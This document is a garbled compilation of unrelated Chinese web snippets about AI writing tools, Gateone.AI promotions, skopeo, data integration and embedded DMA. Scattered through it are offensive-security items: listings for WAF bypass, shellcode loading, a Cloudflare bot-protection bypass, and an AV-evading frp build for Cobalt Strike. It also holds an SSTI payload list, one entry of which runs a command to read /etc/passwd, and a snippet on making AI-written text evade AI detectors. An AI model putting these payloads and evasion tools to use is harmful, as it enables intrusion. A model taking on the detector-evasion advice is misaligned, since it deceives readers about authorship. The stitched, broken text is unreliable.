今天为大家介绍一个腾讯云智能体开发平台(TencentCloudADP)构建的解决方案——“文章搬运工”,这是一个基于AI技术的智能内容创作与多平台分发系统。 deepseek-r1-250528","Temperature":0.6,"TopP":0.6,"MaxTokens":4000}总结基于腾讯云智能体开发平台(TencentCloudADP)构建的AI 文章搬运工不仅解决了内容创作者的效率问题,更重要的是保证了内容质量的一致性和专业性。 AI技术的不断发展,这样的智能工作流将成为内容创作的标准工具。 我们相信,通过持续的优化和功能扩展,搬运工主工作流将为更多创作者和企业带来价值。
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镜像搬运工 skopeo 介绍 skopeo 是一个命令行工具,可对容器镜像和容器存储进行操作。 在没有dockerd的环境下,使用 skopeo 操作镜像是非常方便的。 www.oiox.cn/index.php/start-page.html CSDN、GitHub、51CTO、知乎、开源中国、思否、掘金、简书、腾讯云、哔哩哔哩、今日头条、新浪微博、个人博客 全网可搜《小陈运维》 文章主要发布于微信公众号
一个好的镜像传输工具能节省大量的人力和 CPU 算力,本文将为大家介绍一个能够完全替代 docker-cli 的工具:Skopeo。
作为一个天天跟 AI 模型 “斗智斗勇” 的开发者,我前阵子快被一堆 “碎片化工具” 逼到想把键盘扔进垃圾桶 —— 今天刚调试好 GPT 的接口,明天就得给 Claude 写新适配器,后天又要应付 Gemini 的兼容性问题,光是维护这些 “麻烦家伙”,我每周至少有 3 天在当 API 的 “搬运工”,连喝杯热咖啡的时间都得挤! 直到我撞上了 Gateone.AI,才算彻底跟 “工具内卷” 说拜拜。 最爽的是 “快速原型开发”,以前要花两天搭的 AI 助手 demo,现在用它半天就能跑起来,我终于有时间研究怎么提升 Agent 的推理能力,而不是在接口里 “死磕”。 不如跟着 Gateone.AI,做真正的 AI 创新者!
地址:https://github.com/Al1ex/Pentest-tools
github.com/fofapro/vulfocus SystemSecurity-ReverseAnalysis 该资源为系统安全和逆向分析实验,包括作者从零学习恶意代码分析、病毒逆向分析的工具及样本,基础性文章 用于生成垃圾数据 地址:https://github.com/safe6Sec/bypassWAF PIC-Privileges 从内存中的目标文件构建和执行位置无关的 Shellcode 具体请参考文章 github.com/mrknow001/Crawlergo_x_Rad_x_XRAY Bypass Cloudflare 使用 Cloudflare Workers 绕过 Coudflare 机器人保护 详细使用文章
地址:https://github.com/LandGrey/domainNamePredictor
一个图形化的漏洞利用集成工具,它用python3书写,参考了大量安全工具的实现原理与思想,在工作之余开发,方便自己的渗透测试工作,我的目的是打造一个红队武器化工具
AI | 把又臭又长的文章给AI代劳 阅读这种事情,有的是真的读不下去~ LEARN MORE 图片由海艺AI绘制 关于系列公众号是专栏/话题周更的模式,对话题的内容感兴趣的朋友们可以通过顶部和底部的合集标签查看这个话题的更多内容 所以每当这种时候,我都发自内心的希望有一个文章代读机器。 不过读文章可是AI的专长,这不,AI工具已经出了很多了,比如之前推荐过的Kimi ,今天再来推荐一个术业有专攻的阅读AI,司马阅。 实际体验一下效果 还是老规矩,我们先把地址放出来: https://doc.smartread.cc/#/upload/BX 虽然我也做一些AI使用评测之类的文章,但是我终究不是专门做AI的人员,对于这方面说实话不是特别专业 ,我们就可以设定一下啊AI 的角色,也就是专家库,让AI不要跑偏跑得太多了。 接下来就可以直接和AI对话,让AI给到回复了: 这属于小儿科级别的,还可以给AI加点难度,给AI 一篇研报,让AI给个投资建议: AI给了一些建议,虽然都是废话文学,但这确实是这篇研报的重点: 总的来说表现还是非常好的
frp0.33修改版,过流量检测,免杀,支持加载远程配置文件可用于cs直接使用的插件
这大概就是AI时代,当下所描述的 —— Vibe Coding。但如今呢,这种状态正被一点点吞噬?AI 改变了什么? 还是说,我们成了“复制-粘贴-祈祷 AI 不犯错”的提示奴隶?当越来越多的人写代码,不再是为了构建什么东西,而是为了让某个 AI 工具输出点“能跑的代码”。 于是,从输入提示词到复制-粘贴,我们成了 AI 工具之间的中介,甚至都懒得想一句 if 该怎么写,习惯了用一句 prompt 把脑子也外包了。我们开始变成了——Prompt 搬运工。 Prompt 搬运工?Prompt 搬运工,说得直接一点,就是完全那种靠写提示词、复制输出、粘贴到项目里就算完成开发的人。他们看起来写了很多代码,但其实并不理解自己在做什么。 AI 是工具,不是拐杖,更不是导师。
最近梳理了下历史文章,精选了一些文章,分为机器学习,深度学习,人工智能等几大板块,文章已开通【快捷转载】,欢迎阅读及转载。 希望对大家有所帮助,文章代码资料可访问: https://github.com/aialgorithm/Blog 1 机器学习系列 【1】一文解决样本不均衡(全) 【2】机器学习模型迭代方法(Python 聚类算法(Python) 【12】机器学习算法优缺点对比(汇总篇) 【13】全面归纳距离和相似度方法(7种) 【14】一文归纳Python特征生成方法(全) 【15】一文通俗讲透树模型 【16】一文归纳Ai 【22】神经网络无法实现可解释 AI ? 神器(附项目代码) 【3】一文概览AI(人工智能)的发展历程 【4】李航:人工智能需要怎样的计算范式和理论?
,于是经过稍微的规划,我打算通过文章头部填写AI摘要,再通过Hexo渲染实现功能,通过朋友星港了解到Solitude已经内置了该功能,这样也好,那就省得再去开发前端插件插入文章啦! 为了更加方便的生成AI摘要部分,我实现了一个插件,根据文章内容放在API内,通过合适的Prompt,将返回的内容再写回文章顶部,这里我也写了较为完善的实现,但是AI是有随机性的,还是建议插入后自行检查一下 摘要内容必须在150到250字之间,仅介绍文章核心内容。 请用中文作答,去除特殊字符,输出内容开头为“这里是清羽AI,这篇文章”。 添加配置 目前我们已经自动化了从AI中,喂我们的文章给AI,再生成摘要,再写到文件顶部的过程,下面我们开始进行从文件顶部渲染到网站页面上。 -------------------------------------- # 文章AI摘要是否开启,会自动检索文章色summary字段,若没有则不显示 ai_summary: enable:
如今在国内外IT技术圈里,使用AI工具辅助写作,已经是一个非常普遍的现象了。AI工具直接生成的文章,AI味很重,比如AI喜欢用一些模棱两可的词汇,和一些套话。 先用AI工具生成内容,再用另外一些AI工具对这些内容进行加工,即所谓的Humanization(人类化)动作。 这个动作的结果,就是让被加工后的内容,读起来和人类手动书写的文章差不多吗,并且能够逃过AI检测工具的法眼。比如HIX.AI这个工具。当然如果不愿意使用工具,那么可以手动编辑。 沙漏模型框架:编辑AI生成内容的深度指南该图片描述了一个编辑AI生成内容的沙漏模型框架,包含两个主要部分:筛子(TheSieve)和塔(TheTower)。 案例:应用沙漏模型框架编辑一篇文章设想一篇讨论人工智能对医疗行业影响的文章。AI生成的初稿可能包含以下内容:“人工智能可以帮助医生更快地诊断病人。”这句尽管正确,但缺乏深度与细节。
我不生产数据,我只是数据的搬运工。在大数据平台中,是不生产数据的,或者说原始数据都是来源于业务系统。所以,我们需要做的第一件事,就是将业务系统的数据搬运到数据平台。 改用那句耳熟能详的话,我不生产数据,我只是数据的搬运工。这个数据的搬运工,就是数据平台的第一个模块--数据集成。 搬运工都有哪些称呼在进行产品设计的过程中,对于同一个产品,经常会遇到各种各样的名称,这些名称好像可以指代同一个产品,如果细究起来,好像也有些区别。在数据集成产品设计时,也会遇到类似的问题。
SSTI payloads {2*2}[[7*7]] {{7*7}} {{7*'7'}} <%= 7 * 7 %> {{ request }} {{self}} {{dump(app)}} #{3*3} #{ 3 * 3 } {{ ''.__class__.__mro__[2].__subclasses__() }} {{['cat%20/etc/passwd']|filter('system')}} 原文地址:https://twitter.com/_bughunter/status/1522619419
比如,你要写一篇技术博客,那么需要明确文章的主题、结构、关键字等等。这些都是影响文章质量的关键因素,必须确定清楚才能更好地指导AI写作工具进行创作。 同时,你还需要确定文章的受众群体,以及他们的需求和兴趣,这样才能更好地编写贴近读者的文章。 3. 保持人工智能的创造性 尽管AI写作工具可以帮助你提高写作效率,但是它并不能完全替代人类的创造力。 因此,在使用AI写作工具的时候,你需要保持一定的主观能动性,适当地引入自己的思考和创意,让文章更具有个性化和创新性。这样既能提高文章质量,也能让文章更具有个人特色。 同时,你还可以根据读者的反馈和需求,不断地优化文章内容和风格。 4. 审核和修改文章 虽然AI写作工具可以快速生成文章,但是它并不能保证文章质量。 因此,在使用AI写作工具之后,你需要对文章进行审核和修改,确保文章的质量和准确性。在审核文章时,需要注意文章的逻辑性、流畅性、准确性等方面。
初始化DMA:选择DMA通道、DMA传输方向、传输数据大小等; 启动DMA传输,注册传输完成回调函数; 对比传输前后的数据,检查是否传输成功; 本实验配套代码位于“5_程序源码\16_搬运工—DMA\” 个数据; 24~40行:检测到传输完成标志,逐个对比源数据和目标数据是否一致,并打印结果; 41~44行:检测到传输错误标志,打印错误结果; 24.4 实验效果 本实验对应配套资料的“5_程序源码\16_搬运工
最近刷朋友圈,十个技术朋友里有八个在聊 AI Agent—— 不再是凑活的代码补全,而是能扒懂项目结构、自己抓 Bug 的 “智能队友”。 有次 GPT 悄悄更了个小版本,我们的路由直接崩了,我不得不把最资深的工程师从 AI 创新任务里拽出来,让他当 “API 修理工”,咖啡喝空三罐才搞定,心疼得我直拍大腿。 就在我对着一堆 API 文档叹气时,朋友扔来个 Gateone.AI 的链接,说 “你要的企业级 AI 解决方案在这”。一试才发现,这玩意儿简直是为我们这种 “碎片化受害者” 量身定做的! 现在我们的助手跑起来超稳,代码审查、Bug 追踪全搞定,团队终于不用当 “API 搬运工”,能专心琢磨怎么让 AI 更聪明,这不就是我们想要的 AI 创新吗?